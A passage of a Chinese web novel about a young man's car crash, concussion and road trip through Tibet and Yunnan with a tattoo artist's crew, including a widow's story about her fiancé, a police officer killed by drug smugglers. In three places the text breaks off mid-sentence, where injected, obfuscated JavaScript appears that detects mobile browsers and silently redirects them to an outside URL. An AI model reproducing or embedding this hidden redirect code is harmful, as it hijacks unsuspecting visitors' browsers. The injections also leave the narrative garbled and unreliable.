被追尾了。 对方目测是个四十来岁的大哥。 “大哥,公路这么宽,你要超车也方便,这你也能追尾啊?” 沈弋接过对方递过来的烟,大哥嘴里道歉,给他点了个火,沈弋垂了垂眼皮就着火点燃烟。 “这事说来有点离谱,我跟媳妇开视频呢,听她说话可能不自觉踩油门了,这才撞上了。”大哥赔笑,“你看,私了吧?” 沈弋微微斜眼看了他一眼,“行。” 车打双闪,沈弋嘴里叼着烟,手里拿着手机将事故现场前前后后全方位无死角拍了一遍。 “你的驾驶证和身份证给我拍个照,还有你的电话号码也给我。” 大哥凝视沈弋两秒同意了,拿出来给沈弋拍。 “行了,看着咱俩的车都还能开,进市区没多远了,修车店还是走流程?”沈弋弹了弹烟灰。 “修车店,我不会跑。”大哥很干脆,走流程就是半个月的事了。 沈弋也不想走流程,出个事故责任认定书就得十天,他也不怕大哥跑路,该拍的都拍了。 “那走吧。”沈弋和大哥说。 大哥随后上了车,沈弋让大哥先走,他跟在大哥车后,大哥意味不明地笑了两声往前开。 他提脚跟后面,大哥跑路了他起码一眼就看得见,沈弋不傻,心眼是有的。 到了修车店,一切都交代好,沈弋和大哥出门去吃饭,算不打不相识,两个人聊了几句,相处和睦。 饭吃一半,西堂打了个电话过来。 “晚饭回来吃吗?烤肉。” 沈弋顿时为自己痛失一顿烤肉而悲痛万分,痛苦地说:“不回了,正在外面吃着呢,趁我不在伙食又搞这么好。” 西堂嗤笑一声挂了。 吃完饭跨出店门沈弋就一阵恶心立马吐了。 店老板大喊一声,“难吃到都吐了?!” 晕眩席卷沈弋的脑袋,他不得不撑着树干才站得稳,一动不动地喘着大气缓了缓,他才慢慢说话。 “大哥,我感觉我得去医院拍个片,我没讹你,真的头晕。” 大哥看他吐成那样,脸色苍白,语气着急,“哎哟,我眼睛没瞎呢,用不用叫个救护车?” 沈弋摆摆手,“打车吧。” 饭店老板这时候突然拉着嗓门,“我送你们吧,店里人不多,我媳妇忙得过来,等你打车可能耽误急救时间。” 沈弋深吸一口气,心想,耽误不了多少急救时间,我还没到快猝死的程度。 大哥一听,“好啊!那多谢你了,拉萨打车确实难打。”其实不止难打车,收费也很贵。 坐在急诊室的时候沈弋感觉耳朵边有一堆蜜蜂在飞,嗡嗡嗡。 “你这是耳鸣了,拍个片吧。” 大哥接过单子去缴费。 在耳鸣声里混杂着手机铃声,沈弋只顾着耳鸣声,难受地靠着墙,一个大姐拍了拍沈弋,“你手机响了,怎么不接电话?” 沈弋这才反应过来是他的手机在响,他还想哪个神经病半天不接电话,手机铃声被他上午出门调小了没调回来,声音不是很大。 “喂?” “我买了瓶好酒,你确定不回来再吃一顿烤肉?”丰继的声音传进沈弋耳朵里已经变得虚无缥缈。 沈弋不禁笑了笑,“你们吃吧,我在医院,晚上才回得去。” “医院?你去医院干嘛?”丰继说得乱七八糟的,手机被一旁的西堂接手。 “怎么了?”西堂沉声问。 沈弋耳鸣声嗡嗡的却听出来声音换成西堂了,“被追尾了,现在在等着拍片。” “微信发位置给我。”西堂声音没什么变化,还是沉的。 异地他乡疑似脑震荡,沈弋能顾好自己,拍个片不是多难的事,何况肇事司机就在缴费,但西堂都这么说了,沈弋恭敬不如从命,挂断电话发了位置给西堂。 沈弋拍完出来坐着等ct结果,西堂和丰继找到了他。 丰继眉头微皱,问:“怎么样?头晕不晕?恶心想吐?你这脑震荡还有滞后性啊。” “这种时候还开玩笑啊,现在不晕了,也不想吐,就是有点耳鸣。” 丰继拍拍他的肩,看向一旁的大哥,去和大哥交涉,大哥不得不把事故和处理方法重新交代了一遍。 期间西堂没坐下,安抚般摸了摸沈弋的头,抱着手站着听丰继和大哥交涉。 沈弋瞅瞅丰继,瞅瞅西堂,视线留西堂身上,他一笑就头疼,精神疲惫,还是忍着头疼自顾自地闷笑了几声。 丰继听完和西堂对视了一眼,处理方法没问题,沈弋该拍的也拍了。 丰继换了副表情,刚才面无表情像在审讯,现在好像哥俩好,“兄弟你坐啊,咱坐着等结果,我们听医生的。” 西堂坐在沈弋左边的位置,“肚子空不空,点个外卖?” 沈弋点点头,可怜兮兮地说:“还有点口渴。” 西堂看向丰继,丰继也听见了,“我给你倒去。” 沈弋笑了笑,“谢谢丰哥。” 沈弋重新吃上清淡晚饭,ct结果出来了,西堂和医生在交谈,丰继陪着沈弋吃饭,他不说话,光看着沈弋吃,把沈弋看得不好意思炸了个毛。 西堂和医生交流完,出了急诊室眼神示意大哥走向一旁。 “接下来有没有急事?本地人吗?留到车修好了你人才能走。”西堂语气平平,神色淡然。 “会的,不是本地人,来这边办事的,有事倒不急,明天应该能修好了,肯定明天才走。”大哥态度好。 “跟我们住一个酒店吧,我可以垫付部分酒店费,你看你能出多少,剩的我来补。” “啊?”大哥有点懵圈,是住多高档的酒店,认为他住不起! 不出所料,脑震荡,沈弋不晕不吐就不用留院观察了,回去静养几天就行了,耳鸣没关系。 西堂将外套套沈弋身上,领着人回去,丰继和沈弋住后座,大哥留副驾驶,沈弋不想和大哥同坐后座,丰继骂他小孩子习性。 回到酒店,西堂先一步带大哥走了,丰继和沈弋没当回事,沈弋耳鸣还有点轻微症状,脑袋有种失重后的沉闷感,他累了一天还惦记着相机里拍的照片,和丰继窝在一起导出来用电脑看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046877|162715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “多少?两千三?”大哥大吃一惊,“我付零头……吧?” 西堂让大哥别害怕,就当他的钱是大风刮来的,没有关系的。 付了钱西堂就没管大哥了,他上去看看沈弋,却敲门没人应,就听见沈弋的清脆叫声从丰继屋里传出。 西堂重新去敲丰继的门,丰继出来开门。 “你来干什么?” “关你屁事。” “这是我的房间。” “我付的钱。” “您请进。” 沈弋视线顺着门抬头瞅了瞅是谁来,一看是西堂绽了个笑,“快来看我拍的图,超好看的!” 西堂霸占了丰继的位置,正好丰继的手机响,视频通话,一接通就是小女孩声叫的“爸爸”。 沈弋瞪大双眼,悄悄问西堂,“丰哥女儿都这么大了?!几岁了?” 西堂也悄悄地回答他,“你丰哥26岁就结婚了,现在已经被前妻甩了,女儿四岁了。” “我靠!” 已婚,一女,前妻。好特别又好寻常的八卦。 “那他是……?”沈弋问得意味不明。 但西堂秒懂了,“他在寻求复婚。” “今年离的啊,哦,所以是他离婚了,然后跟着你出来散心。”沈弋自己理清楚了,“祝丰哥成功。” 西堂笑了笑,“来我看看你的图。” “我往前翻翻。”沈弋滑动鼠标,“喏,这是第一张。” 主题、内容、构图、布局、光线这些不用说了,沈弋拍得视频能入李木的眼,那他肯定是有点本事的,西堂赞赏的是他的创新和情绪表达。 风景照被沈弋拍得角度很创新,同一个地方,他却从一些刁钻的角度拍出不一样的感觉,换个人来拍同样的角度那肯定不堪入目,毕竟他的拍摄角度太极端了。 人物照的情绪表达很丰满,情境让人一眼就深思。 “作品投过大赛吗?” “没,一直都是自己拍着玩,朋友写书用过部分照片。” “感兴趣的话可以投稿看看。” “不了吧。”沈弋似笑非笑地说。 西堂看他一眼,拍了拍他的背,算是一种欣赏。西堂确实欣赏沈弋的人格。 丰继接完视频通话回来就看见西堂和沈弋低声争论着照片的修改,一个认为亮度太高,一个认为亮度低才好看,他的位置已经被西堂抢走,但他还不想睡觉,丰继颇为无话可说,开始摇人。 屋里两个人坐小沙发边修图,四个人坐大沙发边搓麻将。 零点一过,沈弋的图片搞定了,他整理好把部分发给了一直打印照片的相馆,旁边的四个人打得热火朝天。 “去睡吧。”西堂起身去窗边抽烟。 “行,病号得有自觉性,那我去睡了,拜拜~”沈弋招财猫一样挥了挥手。 西堂吐着烟点了点头。 接下来三天沈弋都老老实实窝着静养,他的脑袋偶尔发晕,耳鸣不再有,想吐也没感觉。 照西堂的计划是沈弋出事第二天就走,但他改了时间,对沈弋说的是几个文身师要逛一逛拉萨,顺带休息。 几个文身师没拆穿,大家对此无异议,毕竟沈弋人见人爱花见花开。 白天人群四散,晚上回到酒店就是凑两桌搓麻将和玩牌,为了刺激竟花上钱,沈弋赢赢输输最后亏了一千多,西堂大手一挥把他赢的那些钱还给了几个人,本来也是闹着玩。 三四天混完,沈弋的车取回来了,大哥早已离开,全部人退房离开,西藏的旅扎到此结束,下一站是云南。 结算酒店费用的时候沈弋跟着过去了,他不知道其他人的怎么个结算法,其他人出去外面等,只有他和西堂走去前台。 沈弋掏出钱包取银行卡的动作被西堂手一搭按了暂停。 “干嘛?”沈弋不明所以。 西堂把自己的卡递给前台人员,“我钱多。” 沈弋大惊失色,将近十天,一个人一晚两千三,八个人四舍五入十七万。 “你脑子进洗澡水了?”沈弋忍不住道。 “对。” 西堂不和他打嘴仗,长臂一夹沈弋的脖子把他往外扯。 “啊!放开我!” 10. 第 10 章 沈弋头不晕了,耳不鸣了,整个人精神抖擞、活力四射。但西堂没同意他自己开车,他开了沈弋的车,丰继开了他的车。 沈弋一路坐在副驾哼歌,车载音乐连的是他的蓝牙,每一首歌都是他精挑细选留下来的。 “品味不错。”西堂听了两个小时后说。 “那当然。” 西堂本来的计划是拉萨一完就去云南,走318国道,那他们在西藏十五天的计划就顺利完成,但奈何沈弋脑震荡了,他们为此延期,到今天才开始赶路,继续是318国道,一路上除了吃饭住宿不会再停留。 第一天是拉萨到林芝,吃过午饭就往然乌;第二天是然乌到巴塘,中间不做停留,十一个小时,下半程时沈弋一路上絮絮叨叨表明自己已经安然无恙、可以开车,但都被西堂驳回了,西堂起先还拒绝两声,到后面又累又困理都不带搭理沈弋的,徒留沈弋在他耳边叽叽喳喳没个回应,西堂开一天抽了半包烟,要是不开窗透气,车里能烟雾缭绕;第三天从巴塘顺利进到德钦,在德钦稍作休息就前行到香格里拉。 第三天发生了点曲折,沈弋的车根本不说和西堂的大G比,连他们团队里最差的车都比不过,所以沈弋被别车了。 高速路的道路宽度两辆车并排一点问题都没有,男车主先是别了个女司机,女司机没找事踩刹车忍忍让了,沈弋在副驾语气挺不好的“啧”了声。 西堂正常车速超车,女司机和男车主在后视镜里缓缓变小,风平浪静。 缺德地图语音念着快到服务区,沈弋从中控台下翻出包烟和一个一块钱的打火机,手一抓放进兜里揣好只为等会一停车就能抽上。 离服务区一百米,他俩被男车主别车了。 沈弋硬是深深吸了口气才把暴脾气顺下去,西堂也没找事,跟女司机一样踩刹车忍忍让了。 但沈弋降下车窗喊了一声,“能不能好好开!” 西堂笑了一声让他别闹。 男车主绝对是听见了,因为他按了声喇叭,沈弋也就没再理他。 眼瞅着临门一脚就到服务区加油站了,刚好空了一个位置,男车主“轰”一声发动机响别车过去了,两车的距离微乎其微,沈弋当场都以为他擦到自己车了。 “我靠!我靠!这逼是不是擦到车了?!”沈弋没等西堂停稳车就开始解安全带,“嘿!我这暴脾气!” 西堂连忙倾身去抓沈弋的胳膊,抓了个空,无奈又好笑,只得下车去抓人。 沈弋迎着男车主挑衅的视线走过去,背影杀气腾腾,步伐稳定发挥,西堂觉得可以配bgm的话就配古惑仔里的,或者澳门风云周润发嚼着巧克力出场的也可以。 “你是不是早上吃的早餐因为消化功能不好回流到脑子里了?”沈弋冷脸问男车主。 “我今天没吃早餐。”男车主手撑着车门回。 沈弋身上的怒气值肉眼可见地噌噌上涨,“那你他妈以别车为低级乐趣吗?你妈在你小时候没教过你是吧?” 西堂真害怕沈弋那张怼人的嘴里跟一句“你今天没吃早餐,那你今天有没有妈”,他自觉地上跨两步站沈弋旁边,以便沈弋语出惊人的时候能抢在第一秒把他的嘴捂了。 丰继他们已经停好车了,也已经看见西堂和沈弋突兀地站那里和别人二对二,旁边还有看戏的。 他们不明所以,但特别机敏的板着脸走过去往西堂和沈弋身边一站,双手抱胸,凶神恶煞。 男车主在那脑容量接近于零似的发言,沈弋走神地往身边一瞄,望见他们一副要动手的样子,差点没忍住笑出来,场合严肃,他努力憋了回去,他早说了,这群人很像土匪头子。 沈弋很尊重人地听男车主说完才道:“诉求不多,道歉,不道歉的话你自己掂量掂量吧。” 男车主瞪着眼好像在权衡利弊,他旁边的朋友拉了他一把,嘀咕了两句,男车主愤愤不平地说:“你们以多欺少。” “??……”沈弋怒极反笑,“说你早餐回流到脑子里都是夸你——” 沈弋还想再骂两句,被西堂勾肩搭背地捏了捏肩膀,耳朵边的声音懒散,却轻易抚平了他的情绪,“好了。” 沈弋闭嘴了。 西堂没跟他废话,“我是不在意,他比较生气,道歉吧。” 一句话点明了男车主该给谁道歉。 男车主虽然脑容量不够,倒也听明白了,杵在原地半晌,“对不起。” “大声点。”沈弋听见了,故意磨他,“检讨自己也不会啊?” “对不起!我不该别车!下不为例!行了吧?!”男车主涨红着脸。 “行了!”沈弋痛快放他走,同样大声。 等男车主一走,沈弋从兜里掏出烟发给几个气氛组,“辛苦了辛苦了,谢谢谢谢。” 丰继一掌拍到沈弋背上,“刚下车就看见你俩站那里,我还以为多大事呢。” “哪里不是大事了?”沈弋吸烟说,“你敢说你年轻几年火气没那么大吗?” “嘿,你小子。”丰继装作威胁一样又拍了拍沈弋的背,声音压低,狠声道:“别以为我现在不敢动你。” 沈弋眼波转转,“动一个试试,你知道我大哥是谁吗?我叫我大哥来。” “你大哥谁啊?” “我大哥叫西堂,怕了吧?”沈弋得意地挑挑眉。 丰继直接手一松偏头和其他几人笑喷了。 “发明你的人真是天才。”丰继笑得气没喘匀。 “我替我们家老沈和梁女士谢谢你。”沈弋毫不客气接受。 油加满就往前走了,到德钦歇了个午饭时间,继续赶路,踏着沉沉夜幕到了香格里拉市里。 西堂有钱做大爷,找的酒店很有逼格,瓦顶白墙,门窗暗红色系,外观和拉萨住的比较像,屋内却各具特色。 大厅的落地窗大气,俯瞰独克宗古城,与龟山公园并立。房间内偏向于星级酒店装修,但窗台那些是木制,现代内饰里融入藏式特色,倒另有一番意思。 “我是榜上大款了吗?”沈弋惊喜道。 西堂笑了笑,“玩好,钱不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046878|162715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题。” “西哥你砸钱的样子,酷!”沈弋竖大拇指。 李木挑拨离间,“意思西哥平时不酷?” “弋子曰:‘君子不挑拨他人’。” “弋子是谁?” “我。” “……”“神经病啊!” 连赶三天大家都熬得够呛,简单打了个嘴仗就各回各屋休息了。 酒店早餐很丰盛,中西餐、藏餐都有,沈弋挑得眼花缭乱,恨不得全部都拿一遍。 “这餐厅很不错啊!”丰继如是说。 “嗯嗯嗯,我也是说。”沈弋一边夹一边附和。 早餐过了都到西堂屋内开早会,沈弋混迹其中乐得分不清东南西北。 计划云南也是十五天,毕竟文身的顾客本质上不多。 没有实体店铺,没有媒体账号打理,只有西堂这个人,要找西堂约文身只有三条路,要么有他的私人号码,要么像加南一样遇到了就文,要么靠关系、人脉各路子找到西堂,还得赶趟,像四川理塘那大哥就是不赶趟。 本来这趟中国的整体计划里没有云南,到西藏就结束了,但是云南的生活吸引人,把西堂的心勾来了,他想来待几天感受民风民俗。 云南工作量不是很多,更像是来团建旅游的。约文身的人暂时只有两个,西堂给自己安排了一个,另一个文身师认领了一个,其他人闲着玩。 但另外两个文身师出奇的一致,没出门,抬凳子排排坐旁观西堂文,学技术。 李木拍另一个文身师,沈弋有活干了,摄像机一开就是一下午。 西堂文的是位女士,三十多岁的白领上班族,小家碧玉温婉型,进门时微笑着和大家打招呼,沈弋开口就夸她衣服搭配得很不错,而她文的内容却让众人大为一惊。 她置若罔闻说:“我要文张照片,把我男朋友文在身上。” 西堂给工具消毒的手一顿,沈弋茫然着目光抬起头,丰继笑声停滞,几个文身师也是话语声戛然而止。 西堂提醒她:“文身很难洗,基本没有人能洗干净,多少都有痕迹,往后后悔了是没有用的。” 女士又是微微一笑,“谢谢,我知道,文吧,我三十三岁了,能为自己的行为负责。” 沈弋还想说什么但也闭上了嘴,不理解但得尊重别人,团队里除了正在另一个房间工作的文身师,其他人都不到三十三岁。 “行,之前谈好的需要改变吗?”西堂淡淡问。 之前谈好的没有这么多人旁观,但有摄像。 女士:“可以,开始吧。” 她的文身位置处于肩头,西堂在她到来之前不知道文身内容,这时候临场发挥。以深灰色为底,视觉冲击感很强的红绿花纹里缠绕着照片上的男人,男人的右上角是一面中国国旗和党徽。 她看上去温柔弱小,像一朵路边随处可见的小巧可爱的野黄花,可是整个过程没喊一声疼,也许她的身躯和灵魂在随着西堂的下针抽离和流血……她早已千疮百孔。 沈弋没由来地想。 11. 第 11 章 文好后,女士借了西堂屋内的洗漱间照镜子,她平和地进去,红着眼眶出来,打得一众男士不知所措。 众人派出沈弋递纸,沈弋递完纸踌躇着飞快运转脑子想安慰的词句,反倒女士噗嗤一笑,吸吸鼻子落落大方说:“不好意思,有点失态,看到文身没忍住,西堂老师技术太好了。不用安慰我,我们进行下一个步骤吧。” 沈弋年轻气盛比较主动冒昧,他问女士:“额……请问我可以旁听吗?” 女士笑:“可以啊。” “这个男人已经死了,死了两个多月了。” 女士开场第一句话就把沈弋听得震撼又迷茫,西堂不为所动,但仔细一看的话,就能发现他深吸了一口气。 照片上的男人被她称呼为阿玄,两人青梅竹马,即将订婚。阿玄是一名缉毒警察,两个多月前边境发现了一伙缅甸人偷运毒品,以人体躯干为毒品运输工具,警方立马前去缉查。缅甸人带有枪械,腥风血雨里子弹从枪膛里呼啸而出,阿玄有去无回。 听起来没什么惊心动魄的感受,但女士泪流满面,阿玄很普通,只是十多亿中国人里一个普通的男人,但普通得只有他一个,仅此一个爱着她的阿玄,死了就是死了,这个世界上再也没有阿玄了。 牺牲如此壮烈,没有人想被评为烈士,宁愿只是一个士兵,但他们自愿成为烈士,让国人能够在黑夜安眠、白日偷闲。 女士抹抹挂在下巴上还未滴下的泪水,说,本来我打算殉情了,但我怀孕了。 她倔强、坚强地嗫嚅着念:“‘或又是男,则亦教其以父志为志,则吾死后尚有二意洞在也’。” 西堂和沈弋对视一眼,一动不动、静静地陪她哭泣。 女士走了,她从边境过来,现在带着她的血肉离开,她的血肉从此和阿玄同生共死。 西堂没有收她的钱,女士也就不推脱,她想鞠躬致谢,西堂连忙稳住她的身体,“我受不起”。 沈弋拉开纱窗,掏出烟打火机一响,火苗被风吹灭,他顿了两秒收起烟和打火机,泄力般一屁股坐在窗台下的小沙发上,心烦意乱,怅然若失。 西堂送完女士回来看他一个人低落的坐那里,提脚过去在他身边坐下,没有吭声,就像刚才静静地陪痛哭的女士一样,他静静地陪沈弋坐在那儿。 沈弋喃喃自语:“‘吾充吾爱汝之心,助天下人爱其所爱,所以敢先汝而死,不顾汝也。汝体吾此心,于啼泣之余,亦以天下人为念,当亦乐牺牲吾身与汝身之福利,为天下人谋永福也。汝其勿悲!’。” 西堂看他一眼,应他,“‘吾辈处今日之中国,国中无地无时不可以死’,现在的中国已经不再‘无地无时不可以死’了。” 沈弋目无焦距地盯着西堂,缓缓喘气,道:“你宽慰人的角度还挺别致。” “……”西堂无言以对。 “‘爱情’,多少导演不谋而合去拍的题材,试图探寻演绎出它的真谛。阿玄活着她活着,阿玄死了她要殉情,可是一个属于她和阿玄的孩子却能留下她。”沈弋情绪恢复了平静。 有些人会因为受教育程度高、家境不错、父母可能也是高知,所以这种人理解和明白世间冷暖与善恶,但没怎么真正接触和见识过。 沈弋就是这种人,西堂看着面前这个小他几岁、持留纯真的人,实在不忍心和他讲述一些他见过的糟糕脏乱的事。 “但爱情和生命一样,有时候可以轻易抹杀。”西堂淡淡出声。 沈弋歪头瞧着西堂,突然笑起来,像是嘲笑又像可笑,“说起来,我还是个单身主义,恶趣味喜欢听别人的爱情故事。” 西堂不置可否,顺了顺他的脑袋,去旁边抽烟了。 沈弋一整天因为女士和阿玄的经历而兴致缺缺,他懒得再出门,即使窗外阳光普照。 酒店楼下大厅旁侧有几个书架,沈弋找了本书回屋里一坐就是一下午,直到被叫吃下午饭。 饭桌上大家兴致也不高,全部人心照不宣,都是因为阿玄和女士的故事,其他人下午剪片子的时候看过。 西堂问沈弋要不要留香格里拉玩两天,沈弋拒绝了,而且沈弋一念之间想,他未来一两年可能都不想写爱情类故事了。 一早起来享受完酒店的早餐,顺势去往丽江,沈弋和酒店的最后一顿早餐难舍难分,塞得肚子又撑又胀。 西堂找住宿的本事再一次刷新沈弋的认知,晌午到的丽江,一路驶过古城不停、穿过古镇不停,沈弋三番五次侧目一瞥,西堂就是稳如泰山开着车,不带搭理的。 直到停在一片山野净土。 简易的围墙将白色规则方块房屋围成一圈,坐落在群山环绕间,流水潺潺,马匹悠闲地吃着草,没有任何喧嚣声,静谧得好似要汲取到大自然的力量。 民宿是西堂提前一周直接全包订的,只有他们的到来,这让沈弋感到前所未有的自在,有种想撒欢的感觉。 此前他一个人住,没有太在意住宿条件,心情糟糕透顶。后面认识了西堂他们,更是随遇而安,西堂开始住豪华酒店后,也是陌生人比比皆是,现在只有他们了,尽管还是陌生的环境,和一群路上遇到的人住一起,但他诡异的特别放松,全身心交托在这个异地他乡,也许,真是自然的力量。 休整完,出门去丽江古城。 北有故宫,南有木府。木府,全称木氏土司府衙署,它具有明代中原建筑的风采气质,同时保留了唐宋中原建筑古朴粗犷的流风余韵,还带有纳西族优秀传统文化,府内沟渠纵横,活水长流。 沈弋是北京人,他的活动范围都是北方各省,工作原因来南方时只有重庆和西藏,云南是第一次来,他懒懒漫步在木府里,无不新奇。 买票一进府,所有人各走各的就走散了,沈弋短袖衬衫休闲裤,手机拿抬小相机,一派文艺青年相。 “宫室之丽,拟于王者。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046879|162715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”,沈弋知道木府,是他看过《木府风云》,他看的时间是较晚的,大三时在学校,他团队里的几个女生用投影仪二刷,外放的声音充斥整个临时工作室,他们三个一边工作一边立只听得专心致志,吃饭的时候他们挪位置,全部人看得入迷,剧情或许有待商榷,但是木府的整个景观让沈弋惊艳。 像富有民族文化的紫禁城,蓝红色调,红廊红柱红门红雕栏,各处的浮雕画饰是蓝色,墙多数是白色,园林布局。 照片拍了很多,沈弋拍得很尽兴,逛到西面时和西堂相逢,西面是家庙、祠堂,西堂站在门口神色隐晦不明。 “怎么站这出神?”沈弋从后面轻轻拍他的左肩。 西堂被拍得小幅度一惊,他确实出神了。 “没事,想到年中家里祭祀发生的事了。”西堂勾了勾唇,回他。 沈弋弯眼笑,“一起逛吧。”。 他觉得西堂好像有点不开心,也不能说不开心,是有点烦躁,想到不开心的事后的烦躁,这情绪沈弋熟悉,他就是不开心后带着烦躁去到西藏的。 回到轴线上,玉音楼到广场,“咔嚓”声响了一路,沈弋自己拍还不够,他把相机塞给西堂,让西堂也拍。 西堂承他的情,他的情绪被沈弋察觉了,他自认为自己情绪隐藏得还可以,不知道沈弋怎么看出来的,他之前没说错,沈弋待人接物上很好。 六月初了,云南的六月气温偏高,太阳西斜,光照晒人,两个人走走停停,没有请讲解员,不知道走到哪里了,热了就屁股一坐歇歇,两个脑袋碰着翻照片。 最后休息的那一次,西堂放眼望去,视线落在池子里,不经意地说:“你看过是枝裕和的《比海更深》吗?” “看过。” “我爸和阿部宽饰演的良多比较像,丰继说我出生就在罗马,对,我爸除了钱好像什么都没有给过这个家里。”西堂声音毫无波澜,“所以我妈很明智,在我六岁的时候就离开了这个失败的男人。” 沈弋旁观者的身份听完这几句话,他很难说出什么来,说什么都没意思,所以他没出声,只是动作上示意他在听。 “今年祭祀的时候,眼看着要收尾结束,他一个电话就走了,将一大家子人丢那里。”西堂犹记得那天的情形,尤其是被烛火的光照得晃人的祖宗牌位,祠堂里忽明忽暗,“而那个电话是我妈打的,他看上去很在乎我妈,但他永远死性不改。” 沈弋脸上刻意地挤出点笑,他胳膊一伸搭到西堂肩上,抚了两下,“那你好好长大了吗?即使没有好好长大,你现在家骥人璧了。” 他爸妈都是建筑师,佳偶天成,情比金坚,被他们圈里人调侃为梁思成和林徽因。在父母爱情上,他无法宽慰西堂,但他能明白有些东西,就说他自己,父母感情如此,他却是单身主义。 西堂好奇的目光慢慢扫视沈弋,久到沈弋开始不自在,才说:“你安慰人的角度也挺别致。” 12. 第 12 章 下午找了个火锅店吃饭,腊排骨,沈弋啃得津津有味。这几天因为他脑震荡,所有人都没喝酒,说是怕沈弋看着他们喝的时候嘴馋,沈弋那个无语啊,要不是他们是大酒鬼,他根本不爱喝酒好吗!但他不敢申诉。 西堂手一招就是四瓶白酒,沈弋跟他混到今天,看见这个数量已经风平浪静,习以为常。 他匀了一杯,嘻嘻哈哈道:“干一杯,这几天多谢你们的照顾。” “又搞这么见外?你自己麻溜滚出去。”丰继装不满。 “莫须有!”沈弋对丰继喊,又自言说,“我干了,该谢的还得谢。” 丰继乐呵呵喝了,他就是喜欢逗沈弋。 沈弋心想,你可别把我惹急了我言语攻击,你个求复婚的男人,哼哼哼。 西堂又双叒叕在吃饭的时候安排工作,沈弋酒壮怂人胆,不假辞色地看着西堂说:“你怎么又在吃饭的时候安排工作,你还让不让你的手下好好吃饭了?” 除西堂外的所有人一脸戏谑和惊奇地打算看戏。 丰继用余光斜瞥西堂,就见西堂轻微皱眉短暂地凝视着沈弋,他心里咯噔一下,有些摸不准,他真害怕西堂酒杯一搁突然发火。 西堂眼底闪过狡黠,“你是老板我是老板?前几天的酒店费是不是想报销一下?” 沈弋立马卑躬屈膝,“您吉祥。” 西堂被他这声跪安吓退,镇定自若地喝了口酒,“平身吧。” 整个饭店里爆发出一阵震耳欲聋的大笑声,是其他人笑疯了。 西堂家里有钱,还不是一般的有钱,说腰缠万贯、钟鸣鼎食之家毫不夸张。丰继打小和西堂长大的,他们圈子里谁有胆敢给西堂一个眼色瞧哟,沈弋还两口白酒质问上了,他眼色深邃地看了看这俩人,一言不发。 工作安排简单,接下来预计五个工作日在丽江,有三个顾客,剩的时间就是玩,各玩各的也行,一起出门也行。 沈弋喝醉的程度是意识还清醒,说话不打结,能玩手机能看清字,还是那话,酒壮怂人胆,他骨子里平时克制住的轻狂劲儿被激出来了,他等不到一个月以后了。 当晚被西堂丢进屋内,他浑浑噩噩躺地毯上半天,脑子里不断播放那些恶心不堪的画面。 他登上微博大号,逐字逐句打字,把整件事的来龙去脉交代得滴水不漏,手里握着的证据全摆出来。 当初对方明里暗里就差指着鼻子骂他,十句有八句不离,你敢曝光一个试试。 试试就试试,你四五十岁牵扯的利益多,我二十五岁能有什么不敢试试的,年轻人可能什么都没有,狗屁不是,但就是胆子大,一落千丈也跌得起。 沈弋抱着严谨的态度从头浏览一遍,像是他高考交卷前最后一遍检查答题卡,最后心满意足地点击发送。 风水轮流转了…… 坐那发了会儿呆,如期等到手机铃声持续不断响,各种微信短信消息涌入,他任性地将手机往沙发上一扔,刷地起身震得脑袋低血糖一晕,哼着《春庭雪》进去冲澡了。 洗完澡又看了部电影,憋到不能再多憋一秒,才拿着手机蹦回床上看消息。 打开往下一划拉,西堂那里显示小红点,他点开。 西堂:头疼不疼 沈弋目光停留在这句话上一眨不眨,呼吸一颤,他顺出一口气。有没有人懂这种感觉!沈弋投降。 它不是父母亲友的关心致问,也不是暗恋者追求者的矫揉问候,它就是一个萍水相逢后相处了半个月的人、在他脑震荡已经痊愈只是喝酒后、发来了一句简单的询问,这句询问只有四个字,言辞一点都不华丽,可他的心触动了一瞬。 沈弋:不疼,就这,小瞧我。 他自导自演地答非所问,没事,就他们那种狗屁栽赃陷害的手段,小瞧我。 翻出第一条微信,是陈昀。 陈昀:牛逼啊,不鸣则已一鸣惊人啊!不当缩头乌龟了就赶紧给我滚回来,你还要玩多久? 沈弋:少管[鄙视.jpg] 周宏:好样的,这才是我带出来的人,这边一切顺利,放心玩。 沈弋:谢谢老师,辛苦您老人家了[抱拳.jpg][调皮.jpg] 爸:人小志气大[赞.jpg] 沈弋:不如您老当益壮 妈:看到好东西要买给我,这是新地址。 沈弋:您这如意算盘打得好哇[汗.jpg] 他有时候觉得他的抽象是遗传的,不是发明他的人是天才,而是发明他的人本身就是抽象天才。 其他人的好意他都心领了,一律回复回去约,多的不用说,彼此明白。 这些搞定,还有那些骂他你敢试试的,这些人沈弋挑了几个有代表性的统一回复一条链接:说说身边没本事的男人的几大特征。其他的虾兵蟹将无视,不拉黑不删除就简单粗暴地无视。 倒头秒睡。 